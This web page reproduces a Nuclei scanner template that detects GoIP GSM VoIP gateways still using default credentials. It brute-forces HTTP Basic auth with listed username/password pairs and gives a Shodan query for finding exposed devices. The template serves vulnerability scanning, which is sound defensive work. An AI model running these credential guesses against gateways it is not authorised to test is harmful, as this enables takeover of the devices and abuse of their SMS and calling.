GoIP GSM VoIP Gateway - Default Password

ID: goip-default-login

Severity: high

Author: drfabiocastro

Tags: default-login,goip,gsm

Description

GoIP GSM VoIP Gateway Default Password, Allows attackers to send, receive sms and calls.

YAML Source

id: goip-default-login

info:
  name: GoIP GSM VoIP Gateway - Default Password
  author: drfabiocastro
  severity: high
  description: |
    GoIP GSM VoIP Gateway Default Password, Allows attackers to send, receive sms and calls.
  reference:
    - http://en.dbltek.com/
    - https://medium.com/@hackatnow/how-to-create-a-python-script-to-find-goip-gsm-gateway-on-shodan-and-send-sms-ussd-via-goip-e2e203f5d339
    - https://www.voip-systems.ru/assets/files/voip/voip-gsm/User_Manual_1_4_8_16.pdf
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    max-request: 12
    shodan-query: 'HTTP/1.0 401 Please Authenticate\r\nWWW-Authenticate: Basic realm="Please Login"'
  tags: default-login,goip,gsm

http:
  - raw:
      - |
        GET /default/en_US/status.html HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}

    attack: clusterbomb
    payloads:
      username:
        - admin
        - root
        - sms
        - user
      password:
        - admin
        - root
        - 1234
    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Status"
          - "GoIP"
          - "Summary"
          - "Logout"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022066e4d586e7849060bbdc9bb5df174185d1bef411797037030f996f5b3f740ede02207169913d45f63abd4409a25f41256168f5eb176ea7be72e8806b97b0ea4e22dd:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/default-logins/goip-default-login.yaml"

View on Github